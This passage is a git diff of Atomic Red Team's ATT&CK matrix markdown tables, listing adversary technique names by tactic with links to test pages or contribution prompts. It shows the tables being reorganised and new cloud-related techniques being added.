| | | | [Remote File Copy](./T1105/T1105.md) | -| | | Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | LC_MAIN Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | [Standard Application Layer Protocol](./T1071/T1071.md) | -| | | [Setuid and Setgid](./T1166/T1166.md) | | [Launchctl](./T1152/T1152.md) | | | | | | Standard Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | | [Startup Items](./T1165/T1165.md) | | [Masquerading](./T1036/T1036.md) | | | | | | Standard Non-Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | | [Trap](./T1154/T1154.md) | | [Obfuscated Files or Information](./T1027/T1027.md) | | | | | | [Uncommonly Used Port](./T1065/T1065.md) | -| | | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Plist Modification](./T1150/T1150.md) | | | | | | Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Exploit Public-Facing Application [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Command-Line Interface](./T1059/T1059.md) | [Browser Extensions](./T1176/T1176.md) | Elevated Execution with Prompt [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Clear Command History](./T1146/T1146.md) | [Brute Force](./T1110/T1110.md) | [Application Window Discovery](./T1010/T1010.md) | Application Deployment Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Automated Collection](./T1119/T1119.md) | [Data Compressed](./T1002/T1002.md) | Communication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Hardware Additions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Client Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Create Account](./T1136/T1136.md) | Emond [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Code Signing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Credential Dumping](./T1003/T1003.md) | [Browser Bookmark Discovery](./T1217/T1217.md) | Exploitation of Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Clipboard Data](./T1115/T1115.md) | [Data Encrypted](./T1022/T1022.md) | [Connection Proxy](./T1090/T1090.md) | +| [Spearphishing Attachment](./T1193/T1193.md) | Graphical User Interface [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Dylib Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Privilege Escalation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Compile After Delivery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Credentials from Web Browsers [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [File and Directory Discovery](./T1083/T1083.md) | Internal Spearphishing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data Staged](./T1074/T1074.md) | [Data Transfer Size Limits](./T1030/T1030.md) | Custom Command and Control Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Spearphishing Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Launchctl](./T1152/T1152.md) | Emond [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Launch Daemon](./T1160/T1160.md) | [Connection Proxy](./T1090/T1090.md) | [Credentials in Files](./T1081/T1081.md) | [Network Service Scanning](./T1046/T1046.md) | [Logon Scripts](./T1037/T1037.md) | Data from Information Repositories [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Exfiltration Over Alternative Protocol](./T1048/T1048.md) | Custom Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Spearphishing via Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Local Job Scheduling](./T1168/T1168.md) | [Hidden Files and Directories](./T1158/T1158.md) | [Plist Modification](./T1150/T1150.md) | [Disabling Security Tools](./T1089/T1089.md) | Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Network Share Discovery](./T1135/T1135.md) | [Remote File Copy](./T1105/T1105.md) | [Data from Local System](./T1005/T1005.md) | Exfiltration Over Command and Control Channel [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data Encoding](./T1132/T1132.md) | +| Supply Chain Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Scripting](./T1064/T1064.md) | [Kernel Modules and Extensions](./T1215/T1215.md) | [Process Injection](./T1055/T1055.md) | Execution Guardrails [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Input Capture](./T1056/T1056.md) | [Network Sniffing](./T1040/T1040.md) | Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Network Shared Drive [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Obfuscation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Trusted Relationship [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Source](./T1153/T1153.md) | LC_LOAD_DYLIB Addition [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Setuid and Setgid](./T1166/T1166.md) | Exploitation for Defense Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Input Prompt](./T1141/T1141.md) | [Password Policy Discovery](./T1201/T1201.md) | SSH Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Physical Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Fronting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Space after Filename](./T1151/T1151.md) | [Launch Agent](./T1159/T1159.md) | [Startup Items](./T1165/T1165.md) | [File Deletion](./T1107/T1107.md) | [Keychain](./T1142/T1142.md) | Peripheral Device Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Input Capture](./T1056/T1056.md) | Scheduled Transfer [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Generation Algorithms [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Launch Daemon](./T1160/T1160.md) | [Sudo](./T1169/T1169.md) | [File and Directory Permissions Modification](./T1222/T1222.md) | [Network Sniffing](./T1040/T1040.md) | [Permission Groups Discovery](./T1069/T1069.md) | | [Screen Capture](./T1113/T1113.md) | | Fallback Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | [Trap](./T1154/T1154.md) | [Launchctl](./T1152/T1152.md) | [Sudo Caching](./T1206/T1206.md) | [Gatekeeper Bypass](./T1144/T1144.md) | [Private Keys](./T1145/T1145.md) | [Process Discovery](./T1057/T1057.md) | | Video Capture [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Multi-Stage Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | User Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Local Job Scheduling](./T1168/T1168.md) | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [HISTCONTROL](./T1148/T1148.md) | Securityd Memory [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Remote System Discovery](./T1018/T1018.md) | | | | Multi-hop Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | | Login Item [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Web Shell](./T1100/T1100.md) | [Hidden Files and Directories](./T1158/T1158.md) | Steal Web Session Cookie [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Security Software Discovery](./T1063/T1063.md) | | | | Multiband Communication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | | [Logon Scripts](./T1037/T1037.md) | | [Hidden Users](./T1147/T1147.md) | Two-Factor Authentication Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Software Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | Multilayer Encryption [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | | [Plist Modification](./T1150/T1150.md) | | Hidden Window [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [System Information Discovery](./T1082/T1082.md) | | | | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Indicator Removal from Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [System Network Configuration Discovery](./T1016/T1016.md) | | | | Remote Access Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | | [Rc.common](./T1163/T1163.md) | | [Indicator Removal on Host](./T1070/T1070.md) | | [System Network Connections Discovery](./T1049/T1049.md) | | | | [Remote File Copy](./T1105/T1105.md) | +| | | [Re-opened Applications](./T1164/T1164.md) | | [Install Root Certificate](./T1130/T1130.md) | | [System Owner/User Discovery](./T1033/T1033.md) | | | | [Standard Application Layer Protocol](./T1071/T1071.md) | +| | | Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | LC_MAIN Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Virtualization/Sandbox Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | Standard Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | | [Setuid and Setgid](./T1166/T1166.md) | | [Launchctl](./T1152/T1152.md) | | | | | | Standard Non-Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | | [Startup Items](./T1165/T1165.md) | | [Masquerading](./T1036/T1036.md) | | | | | | [Uncommonly Used Port](./T1065/T1065.md) | +| | | [Trap](./T1154/T1154.md) | | [Obfuscated Files or Information](./T1027/T1027.md) | | | | | | Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Plist Modification](./T1150/T1150.md) | | | | | | | | | | [Web Shell](./T1100/T1100.md) | | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | | | | | | [Process Injection](./T1055/T1055.md) | | | | | | | | | | | | Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | | | | | | [Rootkit](./T1014/T1014.md) | | | | | | | | | | | | [Scripting](./T1064/T1064.md) | | | | | | | +| | | | | Software Packing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | | | | | | [Space after Filename](./T1151/T1151.md) | | | | | | | +| | | | | [Timestomp](./T1099/T1099.md) | | | | | | | | | | | | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | +| | | | | Virtualization/Sandbox Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | | | | | | Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | diff --git a/atomics/matrix.md b/atomics/matrix.md index cfffcd4ac0..bdc546a2a3 100644 --- a/atomics/matrix.md +++ b/atomics/matrix.md @@ -2,57 +2,61 @@ | initial-access | execution | persistence | privilege-escalation | defense-evasion | credential-access | discovery | lateral-movement | collection | exfiltration | command-and-control | |-----|-----|-----|-----|-----|-----|-----|-----|-----|-----|-----| | Drive-by Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [AppleScript](./T1155/T1155.md) | [.bash_profile and .bashrc](./T1156/T1156.md) | [Access Token Manipulation](./T1134/T1134.md) | [Access Token Manipulation](./T1134/T1134.md) | [Account Manipulation](./T1098/T1098.md) | [Account Discovery](./T1087/T1087.md) | [AppleScript](./T1155/T1155.md) | [Audio Capture](./T1123/T1123.md) | Automated Exfiltration [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Commonly Used Port [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Exploit Public-Facing Application [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [CMSTP](./T1191/T1191.md) | [Accessibility Features](./T1015/T1015.md) | [Accessibility Features](./T1015/T1015.md) | [BITS Jobs](./T1197/T1197.md) | [Bash History](./T1139/T1139.md) | [Application Window Discovery](./T1010/T1010.md) | Application Deployment Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Automated Collection](./T1119/T1119.md) | [Data Compressed](./T1002/T1002.md) | Communication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| External Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Command-Line Interface](./T1059/T1059.md) | [Account Manipulation](./T1098/T1098.md) | AppCert DLLs [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Binary Padding](./T1009/T1009.md) | [Brute Force](./T1110/T1110.md) | [Browser Bookmark Discovery](./T1217/T1217.md) | Distributed Component Object Model [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Clipboard Data](./T1115/T1115.md) | [Data Encrypted](./T1022/T1022.md) | [Connection Proxy](./T1090/T1090.md) | -| Hardware Additions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Compiled HTML File](./T1223/T1223.md) | AppCert DLLs [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [AppInit DLLs](./T1103/T1103.md) | [Bypass User Account Control](./T1088/T1088.md) | [Credential Dumping](./T1003/T1003.md) | [Domain Trust Discovery](./T1482/T1482.md) | Exploitation of Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data Staged](./T1074/T1074.md) | [Data Transfer Size Limits](./T1030/T1030.md) | Custom Command and Control Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Replication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Control Panel Items](./T1196/T1196.md) | [AppInit DLLs](./T1103/T1103.md) | [Application Shimming](./T1138/T1138.md) | [CMSTP](./T1191/T1191.md) | [Credentials in Files](./T1081/T1081.md) | [File and Directory Discovery](./T1083/T1083.md) | [Logon Scripts](./T1037/T1037.md) | Data from Information Repositories [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Exfiltration Over Alternative Protocol](./T1048/T1048.md) | Custom Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| [Spearphishing Attachment](./T1193/T1193.md) | [Dynamic Data Exchange](./T1173/T1173.md) | [Application Shimming](./T1138/T1138.md) | [Bypass User Account Control](./T1088/T1088.md) | [Clear Command History](./T1146/T1146.md) | [Credentials in Registry](./T1214/T1214.md) | [Network Service Scanning](./T1046/T1046.md) | [Pass the Hash](./T1075/T1075.md) | [Data from Local System](./T1005/T1005.md) | Exfiltration Over Command and Control Channel [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data Encoding](./T1132/T1132.md) | -| Spearphishing Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Execution through API [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Authentication Package [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [DLL Search Order Hijacking](./T1038/T1038.md) | Code Signing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Network Share Discovery](./T1135/T1135.md) | [Pass the Ticket](./T1097/T1097.md) | Data from Network Shared Drive [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Obfuscation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Spearphishing via Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Execution through Module Load [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [BITS Jobs](./T1197/T1197.md) | Dylib Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Compile After Delivery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Forced Authentication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Network Sniffing](./T1040/T1040.md) | [Remote Desktop Protocol](./T1076/T1076.md) | Data from Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Physical Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Fronting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Supply Chain Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Client Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Bootkit [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Privilege Escalation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Compiled HTML File](./T1223/T1223.md) | [Hooking](./T1179/T1179.md) | [Password Policy Discovery](./T1201/T1201.md) | [Remote File Copy](./T1105/T1105.md) | [Email Collection](./T1114/T1114.md) | Scheduled Transfer [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Generation Algorithms [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Trusted Relationship [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Graphical User Interface [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Browser Extensions](./T1176/T1176.md) | Extra Window Memory Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Component Firmware [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Input Capture](./T1056/T1056.md) | Peripheral Device Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Input Capture](./T1056/T1056.md) | | Fallback Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [InstallUtil](./T1118/T1118.md) | [Change Default File Association](./T1042/T1042.md) | File System Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Component Object Model Hijacking](./T1122/T1122.md) | [Input Prompt](./T1141/T1141.md) | [Permission Groups Discovery](./T1069/T1069.md) | Replication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Man in the Browser [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Multi-Stage Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | LSASS Driver [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Component Firmware [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Hooking](./T1179/T1179.md) | [Control Panel Items](./T1196/T1196.md) | Kerberoasting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Process Discovery](./T1057/T1057.md) | SSH Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Screen Capture](./T1113/T1113.md) | | Multi-hop Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | [Launchctl](./T1152/T1152.md) | [Component Object Model Hijacking](./T1122/T1122.md) | [Image File Execution Options Injection](./T1183/T1183.md) | [DCShadow](./T1207/T1207.md) | [Keychain](./T1142/T1142.md) | [Query Registry](./T1012/T1012.md) | Shared Webroot [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Video Capture [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Multiband Communication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | [Local Job Scheduling](./T1168/T1168.md) | [Create Account](./T1136/T1136.md) | [Launch Daemon](./T1160/T1160.md) | [DLL Search Order Hijacking](./T1038/T1038.md) | LLMNR/NBT-NS Poisoning and Relay [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Remote System Discovery](./T1018/T1018.md) | Taint Shared Content [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | Multilayer Encryption [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | [Mshta](./T1170/T1170.md) | [DLL Search Order Hijacking](./T1038/T1038.md) | [New Service](./T1050/T1050.md) | DLL Side-Loading [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Network Sniffing](./T1040/T1040.md) | [Security Software Discovery](./T1063/T1063.md) | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | [PowerShell](./T1086/T1086.md) | Dylib Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Path Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Deobfuscate/Decode Files or Information](./T1140/T1140.md) | [Password Filter DLL](./T1174/T1174.md) | [System Information Discovery](./T1082/T1082.md) | [Windows Admin Shares](./T1077/T1077.md) | | | Remote Access Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | [Regsvcs/Regasm](./T1121/T1121.md) | External Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Plist Modification](./T1150/T1150.md) | [Disabling Security Tools](./T1089/T1089.md) | [Private Keys](./T1145/T1145.md) | [System Network Configuration Discovery](./T1016/T1016.md) | [Windows Remote Management](./T1028/T1028.md) | | | [Remote File Copy](./T1105/T1105.md) | -| | [Regsvr32](./T1117/T1117.md) | File System Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Port Monitors [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Execution Guardrails [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Securityd Memory [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [System Network Connections Discovery](./T1049/T1049.md) | | | | [Standard Application Layer Protocol](./T1071/T1071.md) | -| | [Rundll32](./T1085/T1085.md) | [Hidden Files and Directories](./T1158/T1158.md) | [Process Injection](./T1055/T1055.md) | Exploitation for Defense Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Two-Factor Authentication Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [System Owner/User Discovery](./T1033/T1033.md) | | | | Standard Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | [Scheduled Task](./T1053/T1053.md) | [Hooking](./T1179/T1179.md) | SID-History Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Extra Window Memory Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [System Service Discovery](./T1007/T1007.md) | | | | Standard Non-Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | [Scripting](./T1064/T1064.md) | [Hypervisor](./T1062/T1062.md) | [Scheduled Task](./T1053/T1053.md) | [File Deletion](./T1107/T1107.md) | | [System Time Discovery](./T1124/T1124.md) | | | | [Uncommonly Used Port](./T1065/T1065.md) | -| | [Service Execution](./T1035/T1035.md) | [Image File Execution Options Injection](./T1183/T1183.md) | Service Registry Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [File Permissions Modification](./T1222/T1222.md) | | Virtualization/Sandbox Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | [Signed Binary Proxy Execution](./T1218/T1218.md) | [Kernel Modules and Extensions](./T1215/T1215.md) | [Setuid and Setgid](./T1166/T1166.md) | File System Logical Offsets [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | -| | [Signed Script Proxy Execution](./T1216/T1216.md) | LC_LOAD_DYLIB Addition [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Startup Items](./T1165/T1165.md) | [Gatekeeper Bypass](./T1144/T1144.md) | | | | | | | -| | [Source](./T1153/T1153.md) | LSASS Driver [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Sudo](./T1169/T1169.md) | Group Policy Modification [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | -| | [Space after Filename](./T1151/T1151.md) | [Launch Agent](./T1159/T1159.md) | [Sudo Caching](./T1206/T1206.md) | [HISTCONTROL](./T1148/T1148.md) | | | | | | | -| | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Launch Daemon](./T1160/T1160.md) | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Hidden Files and Directories](./T1158/T1158.md) | | | | | | | -| | [Trap](./T1154/T1154.md) | [Launchctl](./T1152/T1152.md) | [Web Shell](./T1100/T1100.md) | [Hidden Users](./T1147/T1147.md) | | | | | | | -| | [Trusted Developer Utilities](./T1127/T1127.md) | [Local Job Scheduling](./T1168/T1168.md) | | Hidden Window [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | -| | User Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Login Item [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Image File Execution Options Injection](./T1183/T1183.md) | | | | | | | -| | [Windows Management Instrumentation](./T1047/T1047.md) | [Logon Scripts](./T1037/T1037.md) | | Indicator Blocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | -| | [Windows Remote Management](./T1028/T1028.md) | [Modify Existing Service](./T1031/T1031.md) | | Indicator Removal from Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | -| | [XSL Script Processing](./T1220/T1220.md) | [Netsh Helper DLL](./T1128/T1128.md) | | [Indicator Removal on Host](./T1070/T1070.md) | | | | | | | +| Exploit Public-Facing Application [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [CMSTP](./T1191/T1191.md) | [Accessibility Features](./T1015/T1015.md) | [Accessibility Features](./T1015/T1015.md) | Application Access Token [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Bash History](./T1139/T1139.md) | [Application Window Discovery](./T1010/T1010.md) | Application Access Token [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Automated Collection](./T1119/T1119.md) | [Data Compressed](./T1002/T1002.md) | Communication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| External Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Command-Line Interface](./T1059/T1059.md) | [Account Manipulation](./T1098/T1098.md) | AppCert DLLs [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [BITS Jobs](./T1197/T1197.md) | [Brute Force](./T1110/T1110.md) | [Browser Bookmark Discovery](./T1217/T1217.md) | Application Deployment Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Clipboard Data](./T1115/T1115.md) | [Data Encrypted](./T1022/T1022.md) | [Connection Proxy](./T1090/T1090.md) | +| Hardware Additions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Compiled HTML File](./T1223/T1223.md) | AppCert DLLs [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [AppInit DLLs](./T1103/T1103.md) | [Binary Padding](./T1009/T1009.md) | Cloud Instance Metadata API [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Cloud Service Dashboard [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Component Object Model and Distributed COM [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data Staged](./T1074/T1074.md) | [Data Transfer Size Limits](./T1030/T1030.md) | Custom Command and Control Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Replication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Component Object Model and Distributed COM [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [AppInit DLLs](./T1103/T1103.md) | [Application Shimming](./T1138/T1138.md) | [Bypass User Account Control](./T1088/T1088.md) | [Credential Dumping](./T1003/T1003.md) | Cloud Service Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation of Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Cloud Storage Object [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Exfiltration Over Alternative Protocol](./T1048/T1048.md) | Custom Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| [Spearphishing Attachment](./T1193/T1193.md) | [Control Panel Items](./T1196/T1196.md) | [Application Shimming](./T1138/T1138.md) | [Bypass User Account Control](./T1088/T1088.md) | [CMSTP](./T1191/T1191.md) | Credentials from Web Browsers [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Domain Trust Discovery](./T1482/T1482.md) | Internal Spearphishing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Information Repositories [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Command and Control Channel [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data Encoding](./T1132/T1132.md) | +| Spearphishing Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Dynamic Data Exchange](./T1173/T1173.md) | Authentication Package [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [DLL Search Order Hijacking](./T1038/T1038.md) | [Clear Command History](./T1146/T1146.md) | [Credentials in Files](./T1081/T1081.md) | [File and Directory Discovery](./T1083/T1083.md) | [Logon Scripts](./T1037/T1037.md) | [Data from Local System](./T1005/T1005.md) | Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Obfuscation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Spearphishing via Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Execution through API [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [BITS Jobs](./T1197/T1197.md) | Dylib Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Code Signing [CONTRIBUTE 